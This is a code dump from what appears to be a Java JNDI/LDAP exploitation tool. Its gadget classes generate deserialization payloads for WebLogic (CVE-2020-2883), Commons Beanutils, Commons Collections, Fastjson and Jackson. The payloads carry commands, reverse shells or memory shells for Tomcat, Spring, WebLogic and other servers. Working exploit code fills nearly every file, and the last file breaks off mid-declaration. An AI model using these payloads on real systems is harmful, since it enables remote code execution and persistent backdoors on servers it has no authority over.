63 | // className = WeblogicMemshellTemplate2.class.getName(); 64 | // break; 65 | // case webspherememshell: 66 | // className = WebsphereMemshellTemplate.class.getName(); 67 | // break; 68 | // case springmemshell: 69 | // className = SpringMemshellTemplate.class.getName(); 70 | // break; 71 | // default: 72 | // throw new IllegalStateException("Unexpected value: " + type); 73 | // } 74 | // 75 | // 76 | // byte[] bytes = Cache.get(className); 77 | // if(bytes == null){ 78 | // String shortName = className.substring(className.lastIndexOf(".") + 1); 79 | // bytes = Cache.get(shortName); 80 | // } 81 | // String classCode = HexUtils.toHexString(bytes); 82 | // 83 | // String code = "var hex = '" + classCode + "';\n" + 84 | // "hex = hex.length() % 2 != 0 ? \"0\" + hex : hex;\n" + 85 | // "var b = new java.io.ByteArrayOutputStream();\n" + 86 | // "for (var i = 0; i < hex.length() / 2; i++) {\n" + 87 | // " var index = i * 2;\n" + 88 | // " var v = java.lang.Integer.parseInt(hex.substring(index, index + 2), 16);\n" + 89 | // " b.write(v);\n" + 90 | // "};\n" + 91 | // "b.close(); \n" + 92 | // "var bytes = b.toByteArray(); \n" + 93 | // "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 94 | // "try{\n" + 95 | // " var clazz = classLoader.loadClass('" + className + "');\n" + 96 | // " clazz.newInstance();\n" + 97 | // "}catch(err){\n" + 98 | // " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + 99 | // " method.setAccessible(true);\n" + 100 | // " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + 101 | // " clazz.newInstance();\n" + 102 | // "}"; 103 | // 104 | // ReflectionExtractor extractor1 = new ReflectionExtractor( 105 | // "getConstructor", 106 | // new Object[]{new Class[0]} 107 | // ); 108 | // 109 | // ReflectionExtractor extractor2 = new ReflectionExtractor( 110 | // "newInstance", 111 | // new Object[]{new Object[0]} 112 | // ); 113 | // 114 | // ReflectionExtractor extractor3 = new ReflectionExtractor( 115 | // "getEngineByName", 116 | // new Object[]{"javascript"} 117 | // ); 118 | // 119 | // ReflectionExtractor extractor4 = new ReflectionExtractor( 120 | // "eval", 121 | // new Object[]{code} 122 | // ); 123 | // 124 | // ReflectionExtractor[] extractors = { 125 | // extractor1, 126 | // extractor2, 127 | // extractor3, 128 | // extractor4 129 | // }; 130 | // 131 | // ChainedExtractor chainedExtractor = new ChainedExtractor(extractors); 132 | // LimitFilter limitFilter = new LimitFilter(); 133 | // 134 | // //m_comparator 135 | // Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator"); 136 | // m_comparator.setAccessible(true); 137 | // m_comparator.set(limitFilter, chainedExtractor); 138 | // 139 | // //m_oAnchorTop 140 | // Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop"); 141 | // m_oAnchorTop.setAccessible(true); 142 | // m_oAnchorTop.set(limitFilter, ScriptEngineManager.class); 143 | // 144 | // BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 145 | // Field field = badAttributeValueExpException.getClass().getDeclaredField("val"); 146 | // field.setAccessible(true); 147 | // field.set(badAttributeValueExpException, limitFilter); 148 | // 149 | // //序列化 150 | // ByteArrayOutputStream baous = new ByteArrayOutputStream(); 151 | // ObjectOutputStream oos = new ObjectOutputStream(baous); 152 | // oos.writeObject(badAttributeValueExpException); 153 | // bytes = baous.toByteArray(); 154 | // oos.close(); 155 | // 156 | // return bytes; 157 | // } 158 | //} 159 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CVE_2020_2883.java: -------------------------------------------------------------------------------- 1 | //package com.feihong.ldap.gadgets; 2 | // 3 | //import com.feihong.ldap.enumtypes.PayloadType; 4 | //import com.feihong.ldap.gadgets.utils.Reflections; 5 | //import com.feihong.ldap.template.*; 6 | //import com.feihong.ldap.utils.Cache; 7 | //import com.tangosol.util.ValueExtractor; 8 | //import com.tangosol.util.comparator.ExtractorComparator; 9 | //import com.tangosol.util.extractor.ChainedExtractor; 10 | //import com.tangosol.util.extractor.ReflectionExtractor; 11 | //import org.apache.tomcat.util.buf.HexUtils; 12 | //import javax.script.ScriptEngineManager; 13 | //import java.io.ByteArrayOutputStream; 14 | //import java.io.ObjectOutputStream; 15 | //import java.lang.reflect.Field; 16 | //import java.util.PriorityQueue; 17 | // 18 | // 19 | //public class CVE_2020_2883 { 20 | // public static byte[] getBytes(PayloadType type, String... param) throws Exception { 21 | // 22 | // String className; 23 | // switch (type){ 24 | // case command: 25 | // CommandTemplate commandTemplate = new CommandTemplate(param[0]); 26 | // commandTemplate.cache(); 27 | // className = commandTemplate.getClassName(); 28 | // break; 29 | // case dnslog: 30 | // DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); 31 | // dnslogTemplate.cache(); 32 | // className = dnslogTemplate.getClassName(); 33 | // break; 34 | // case reverseshell: 35 | // ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); 36 | // reverseShellTemplate.cache(); 37 | // className = reverseShellTemplate.getClassName(); 38 | // break; 39 | // case tomcatecho: 40 | // className = TomcatEchoTemplate.class.getName(); 41 | // break; 42 | // case springecho: 43 | // className = SpringEchoTemplate.class.getName(); 44 | // break; 45 | // case weblogicecho: 46 | // className = WeblogicEchoTemplate.class.getName(); 47 | // break; 48 | // case tomcatmemshell1: 49 | // className = TomcatMemshellTemplate1.class.getName(); 50 | // break; 51 | // case tomcatmemshell2: 52 | // className = TomcatMemshellTemplate2.class.getName(); 53 | // break; 54 | // case jettymemshell: 55 | // className = JettyMemshellTemplate.class.getName(); 56 | // break; 57 | // case jbossmemshell: 58 | // className = JBossMemshellTemplate.class.getName(); 59 | // break; 60 | // case weblogicmemshell1: 61 | // className = WeblogicMemshellTemplate1.class.getName(); 62 | // break; 63 | // case weblogicmemshell2: 64 | // className = WeblogicMemshellTemplate2.class.getName(); 65 | // break; 66 | // case webspherememshell: 67 | // className = WebsphereMemshellTemplate.class.getName(); 68 | // break; 69 | // case springmemshell: 70 | // className = SpringMemshellTemplate.class.getName(); 71 | // break; 72 | // default: 73 | // throw new IllegalStateException("Unexpected value: " + type); 74 | // } 75 | // 76 | // byte[] bytes = Cache.get(className); 77 | // if(bytes == null){ 78 | // String shortName = className.substring(className.lastIndexOf(".") + 1); 79 | // bytes = Cache.get(shortName); 80 | // } 81 | // String classCode = HexUtils.toHexString(bytes); 82 | // 83 | // String code = "var hex = '" + classCode + "';\n" + 84 | // "hex = hex.length() % 2 != 0 ? \"0\" + hex : hex;\n" + 85 | // "var b = new java.io.ByteArrayOutputStream();\n" + 86 | // "for (var i = 0; i < hex.length() / 2; i++) {\n" + 87 | // " var index = i * 2;\n" + 88 | // " var v = java.lang.Integer.parseInt(hex.substring(index, index + 2), 16);\n" + 89 | // " b.write(v);\n" + 90 | // "};\n" + 91 | // "b.close(); \n" + 92 | // "var bytes = b.toByteArray(); \n" + 93 | // "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + 94 | // "try{\n" + 95 | // " var clazz = classLoader.loadClass('" + className + "');\n" + 96 | // " clazz.newInstance();\n" + 97 | // "}catch(err){\n" + 98 | // " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + 99 | // " method.setAccessible(true);\n" + 100 | // " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + 101 | // " clazz.newInstance();\n" + 102 | // "}"; 103 | // 104 | // ReflectionExtractor extractor1 = new ReflectionExtractor( 105 | // "getConstructor", 106 | // new Object[]{new Class[0]} 107 | // ); 108 | // 109 | // ReflectionExtractor extractor2 = new ReflectionExtractor( 110 | // "newInstance", 111 | // new Object[]{new Object[0]} 112 | // ); 113 | // 114 | // ReflectionExtractor extractor3 = new ReflectionExtractor( 115 | // "getEngineByName", 116 | // new Object[]{"javascript"} 117 | // ); 118 | // 119 | // ReflectionExtractor extractor4 = new ReflectionExtractor( 120 | // "eval", 121 | // new Object[]{code} 122 | // ); 123 | // 124 | // ReflectionExtractor[] extractors = { 125 | // extractor1, 126 | // extractor2, 127 | // extractor3, 128 | // extractor4 129 | // }; 130 | // 131 | // Class clazz = ChainedExtractor.class.getSuperclass(); 132 | // Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); 133 | // m_aExtractor.setAccessible(true); 134 | // 135 | // ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); 136 | // ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ 137 | // reflectionExtractor 138 | // }; 139 | // 140 | // ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); 141 | // 142 | // PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); 143 | // queue.add("1"); 144 | // queue.add("1"); 145 | // m_aExtractor.set(chainedExtractor1, extractors); 146 | // 147 | // Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 148 | // queueArray[0] = ScriptEngineManager.class; 149 | // queueArray[1] = "1"; 150 | // 151 | // //序列化 152 | // ByteArrayOutputStream baous = new ByteArrayOutputStream(); 153 | // ObjectOutputStream oos = new ObjectOutputStream(baous); 154 | // oos.writeObject(queue); 155 | // bytes = baous.toByteArray(); 156 | // oos.close(); 157 | // 158 | // return bytes; 159 | // } 160 | //} 161 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.MyURLClassLoader; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.FileOutputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.math.BigInteger; 11 | import java.util.Comparator; 12 | import java.util.PriorityQueue; 13 | 14 | public class CommonsBeanutils1 { 15 | public static void main(String[] args) throws Exception { 16 | byte[] bytes = getBytes(PayloadType.command, "calc"); 17 | FileOutputStream fous = new FileOutputStream("333.ser"); 18 | fous.write(bytes); 19 | fous.close(); 20 | } 21 | 22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 23 | final Object templates = Gadgets.createTemplatesImpl(type, param); 24 | // mock method name until armed 25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.9.2.jar"); 26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"}); 28 | 29 | 30 | // create queue with numbers and basic comparator 31 | final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); 32 | // stub data for replacement later 33 | queue.add(new BigInteger("1")); 34 | queue.add(new BigInteger("1")); 35 | 36 | // switch method called by comparator 37 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 38 | 39 | // switch contents of queue 40 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 41 | queueArray[0] = templates; 42 | queueArray[1] = templates; 43 | 44 | 45 | //序列化 46 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 47 | ObjectOutputStream oos = new ObjectOutputStream(baous); 48 | oos.writeObject(queue); 49 | byte[] bytes = baous.toByteArray(); 50 | oos.close(); 51 | 52 | return bytes; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils192WithoutCC.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import org.apache.commons.beanutils.BeanComparator; 6 | 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.IOException; 9 | import java.io.ObjectOutputStream; 10 | import java.util.Comparator; 11 | import java.util.PriorityQueue; 12 | 13 | import static com.feihong.ldap.gadgets.utils.Reflections.setFieldValue; 14 | 15 | public class CommonsBeanutils192WithoutCC { 16 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 17 | final Object templates = Gadgets.createTemplatesImpl(type, param); 18 | // mock method name until armed 19 | // MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.9.2.jar"); 20 | // Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 21 | // Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class, java.util.Comparator.class}).newInstance(new Object[]{null, String.CASE_INSENSITIVE_ORDER}); 22 | 23 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 24 | 25 | 26 | // create queue with numbers and basic comparator 27 | final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); 28 | // stub data for replacement later 29 | queue.add("1"); 30 | queue.add("1"); 31 | 32 | setFieldValue(comparator, "property", "outputProperties"); 33 | setFieldValue(queue, "queue", new Object[]{templates, templates}); 34 | 35 | 36 | byte[] bytes = object2Bytes(queue); 37 | 38 | return bytes; 39 | } 40 | 41 | private static byte[] object2Bytes(Object obj) throws IOException { 42 | //序列化 43 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 44 | ObjectOutputStream oos = new ObjectOutputStream(baous); 45 | oos.writeObject(obj); 46 | byte[] bytes = baous.toByteArray(); 47 | oos.close(); 48 | return bytes; 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.MyURLClassLoader; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.FileOutputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.math.BigInteger; 11 | import java.util.Comparator; 12 | import java.util.PriorityQueue; 13 | 14 | public class CommonsBeanutils2 { 15 | public static void main(String[] args) throws Exception { 16 | byte[] bytes = getBytes(PayloadType.command, "calc"); 17 | FileOutputStream fous = new FileOutputStream("333.ser"); 18 | fous.write(bytes); 19 | fous.close(); 20 | } 21 | 22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 23 | final Object templates = Gadgets.createTemplatesImpl(type, param); 24 | // mock method name until armed 25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.8.2.jar"); 26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"}); 28 | 29 | 30 | // create queue with numbers and basic comparator 31 | final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); 32 | // stub data for replacement later 33 | queue.add(new BigInteger("1")); 34 | queue.add(new BigInteger("1")); 35 | 36 | // switch method called by comparator 37 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 38 | 39 | // switch contents of queue 40 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 41 | queueArray[0] = templates; 42 | queueArray[1] = templates; 43 | 44 | 45 | //序列化 46 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 47 | ObjectOutputStream oos = new ObjectOutputStream(baous); 48 | oos.writeObject(queue); 49 | byte[] bytes = baous.toByteArray(); 50 | oos.close(); 51 | 52 | return bytes; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils2_2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.Util; 7 | 8 | import org.apache.commons.beanutils2.BeanComparator; 9 | 10 | import java.util.PriorityQueue; 11 | 12 | public class CommonsBeanutils2_2 { 13 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 14 | final Object templates = Gadgets.createTemplatesImpl(type, param); 15 | // 注意这里是:org.apache.commons.beanutils2.BeanComparator 16 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 17 | // BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder()); 18 | final PriorityQueue queue = new PriorityQueue(2, comparator); 19 | // stub data for replacement later 20 | queue.add("1"); 21 | queue.add("1"); 22 | 23 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 24 | Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); 25 | 26 | return Util.serialize(queue); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsCollections4.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 7 | import org.apache.commons.collections4.Transformer; 8 | import org.apache.commons.collections4.comparators.TransformingComparator; 9 | import org.apache.commons.collections4.functors.ChainedTransformer; 10 | import org.apache.commons.collections4.functors.ConstantTransformer; 11 | import org.apache.commons.collections4.functors.InstantiateTransformer; 12 | 13 | import java.io.ByteArrayOutputStream; 14 | import java.io.ObjectOutputStream; 15 | import java.util.PriorityQueue; 16 | import javax.xml.transform.Templates; 17 | 18 | public class CommonsCollections4 { 19 | 20 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 21 | Object templates = Gadgets.createTemplatesImpl(type, param); 22 | 23 | ConstantTransformer constant = new ConstantTransformer(String.class); 24 | 25 | // mock method name until armed 26 | Class[] paramTypes = new Class[] { String.class }; 27 | Object[] args = new Object[] { "foo" }; 28 | InstantiateTransformer instantiate = new InstantiateTransformer( 29 | paramTypes, args); 30 | 31 | // grab defensively copied arrays 32 | paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); 33 | args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); 34 | 35 | ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate }); 36 | 37 | // create queue with numbers 38 | PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); 39 | queue.add(1); 40 | queue.add(1); 41 | 42 | // swap in values to arm 43 | Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); 44 | paramTypes[0] = Templates.class; 45 | args[0] = templates; 46 | 47 | //序列化 48 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 49 | ObjectOutputStream oos = new ObjectOutputStream(baous); 50 | oos.writeObject(queue); 51 | byte[] bytes = baous.toByteArray(); 52 | oos.close(); 53 | 54 | return bytes; 55 | } 56 | } 57 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.FileOutputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CommonsCollectionsK1 { 16 | public static void main(String[] args) throws Exception { 17 | byte[] bytes = getBytes(PayloadType.command, "calc"); 18 | FileOutputStream fous = new FileOutputStream("out2222.ser"); 19 | fous.write(bytes); 20 | fous.close(); 21 | } 22 | 23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 24 | Object tpl = Gadgets.createTemplatesImpl(type, param); 25 | 26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 27 | HashMap innerMap = new HashMap(); 28 | Map m = LazyMap.decorate(innerMap, transformer); 29 | 30 | Map outerMap = new HashMap(); 31 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 32 | outerMap.put(tied, "t"); 33 | // clear the inner map data, this is important 34 | innerMap.clear(); 35 | 36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(outerMap); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import org.apache.commons.collections4.functors.InvokerTransformer; 7 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections4.map.LazyMap; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.FileOutputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CommonsCollectionsK2 { 16 | public static void main(String[] args) throws Exception { 17 | byte[] bytes = getBytes(PayloadType.command, "calc"); 18 | FileOutputStream fous = new FileOutputStream("4444.ser"); 19 | fous.write(bytes); 20 | fous.close(); 21 | } 22 | 23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 24 | Object tpl = Gadgets.createTemplatesImpl(type, param); 25 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 26 | 27 | HashMap innerMap = new HashMap(); 28 | Map m = LazyMap.lazyMap(innerMap, transformer); 29 | 30 | Map outerMap = new HashMap(); 31 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 32 | outerMap.put(tied, "t"); 33 | // clear the inner map data, this is important 34 | innerMap.clear(); 35 | 36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(outerMap); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Exploit.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import java.io.IOException; 4 | 5 | public class Exploit { 6 | public static void main(String[] args) { 7 | try { 8 | Class c = "".getClass().forName("[Ljava.net.URL;"); 9 | System.out.println(c); 10 | } catch (ClassNotFoundException e) { 11 | throw new RuntimeException(e); 12 | } 13 | 14 | } 15 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Fastjson1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.alibaba.fastjson.JSONArray; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Gadgets; 6 | import com.feihong.ldap.gadgets.utils.Reflections; 7 | 8 | import javax.management.BadAttributeValueExpException; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.IOException; 11 | import java.io.ObjectOutputStream; 12 | import java.util.HashMap; 13 | 14 | // https://github.com/Y4er/ysoserial/blob/main/src/main/java/ysoserial/payloads/Fastjson1.java 15 | // Fastjson 1.x 16 | public class Fastjson1 { 17 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 18 | final Object template = Gadgets.createTemplatesImpl(type, param); 19 | JSONArray jsonArray = new JSONArray(); 20 | jsonArray.add(template); 21 | 22 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 23 | Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray); 24 | 25 | HashMap hashMap = new HashMap(); 26 | hashMap.put(template, badAttributeValueExpException); 27 | 28 | 29 | byte[] bytes = object2Bytes(hashMap); 30 | 31 | return bytes; 32 | } 33 | 34 | 35 | private static byte[] object2Bytes(Object obj) throws IOException { 36 | //序列化 37 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 38 | ObjectOutputStream oos = new ObjectOutputStream(baous); 39 | oos.writeObject(obj); 40 | byte[] bytes = baous.toByteArray(); 41 | oos.close(); 42 | return bytes; 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Fastjson2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.alibaba.fastjson2.JSONArray; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Gadgets; 6 | import com.feihong.ldap.gadgets.utils.Reflections; 7 | 8 | import javax.management.BadAttributeValueExpException; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.IOException; 11 | import java.io.ObjectOutputStream; 12 | import java.util.HashMap; 13 | 14 | // from https://github.com/Y4er/ysoserial/blob/main/src/main/java/ysoserial/payloads/Fastjson2.java 15 | // for fastjson 2.x 16 | public class Fastjson2 { 17 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 18 | final Object template = Gadgets.createTemplatesImpl(type, param); 19 | JSONArray jsonArray = new JSONArray(); 20 | jsonArray.add(template); 21 | 22 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 23 | Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray); 24 | 25 | HashMap hashMap = new HashMap(); 26 | hashMap.put(template, badAttributeValueExpException); 27 | 28 | byte[] bytes = object2Bytes(hashMap); 29 | 30 | return bytes; 31 | } 32 | 33 | 34 | private static byte[] object2Bytes(Object obj) throws IOException { 35 | //序列化 36 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 37 | ObjectOutputStream oos = new ObjectOutputStream(baous); 38 | oos.writeObject(obj); 39 | byte[] bytes = baous.toByteArray(); 40 | oos.close(); 41 | return bytes; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jackson1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.fasterxml.jackson.databind.node.POJONode; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Gadgets; 6 | import com.feihong.ldap.gadgets.utils.Reflections; 7 | import javassist.ClassPool; 8 | import javassist.CtClass; 9 | import javassist.CtMethod; 10 | 11 | 12 | import javax.management.BadAttributeValueExpException; 13 | import java.io.ByteArrayOutputStream; 14 | import java.io.IOException; 15 | import java.io.ObjectOutputStream; 16 | import java.util.HashMap; 17 | 18 | // from https://github.com/Y4er/ysoserial/blob/main/src/main/java/ysoserial/payloads/Jackson1.java 19 | public class Jackson1 { 20 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 21 | final Object template = Gadgets.createTemplatesImpl(type, param); 22 | 23 | CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); 24 | CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); 25 | ctClass.removeMethod(writeReplace); 26 | // 将修改后的CtClass加载至当前线程的上下文类加载器中 27 | ctClass.toClass(); 28 | 29 | // jackson 30 | POJONode node = new POJONode(template); 31 | 32 | BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); 33 | Reflections.setFieldValue(badAttributeValueExpException, "val", node); 34 | 35 | HashMap hashMap = new HashMap(); 36 | hashMap.put(template, badAttributeValueExpException); 37 | 38 | byte[] bytes = object2Bytes(hashMap); 39 | 40 | return bytes; 41 | } 42 | 43 | 44 | private static byte[] object2Bytes(Object obj) throws IOException { 45 | //序列化 46 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 47 | ObjectOutputStream oos = new ObjectOutputStream(baous); 48 | oos.writeObject(obj); 49 | byte[] bytes = baous.toByteArray(); 50 | oos.close(); 51 | return bytes; 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jackson2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.fasterxml.jackson.databind.node.POJONode; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Gadgets; 6 | import com.feihong.ldap.gadgets.utils.Reflections; 7 | import com.feihong.ldap.utils.MyStaticMethodMatcherPointcut; 8 | import com.feihong.ldap.utils.MyThrowsAdvice; 9 | import com.feihong.ldap.utils.Util; 10 | import javassist.ClassPool; 11 | import javassist.CtClass; 12 | import javassist.CtMethod; 13 | import org.springframework.aop.Advisor; 14 | import org.springframework.aop.framework.AdvisedSupport; 15 | import org.springframework.aop.framework.adapter.ThrowsAdviceInterceptor; 16 | import org.springframework.aop.support.DefaultPointcutAdvisor; 17 | 18 | import javax.management.BadAttributeValueExpException; 19 | import javax.xml.transform.Templates; 20 | import java.lang.reflect.Constructor; 21 | import java.lang.reflect.InvocationHandler; 22 | import java.lang.reflect.Proxy; 23 | 24 | // from https://github.com/Y4er/ysoserial/blob/main/src/main/java/ysoserial/payloads/Jackson2.java 25 | public class Jackson2 { 26 | 27 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 28 | Object obj = getObject(type, param); 29 | 30 | byte[] bytes = Util.serialize(obj); 31 | 32 | return bytes; 33 | } 34 | 35 | public static 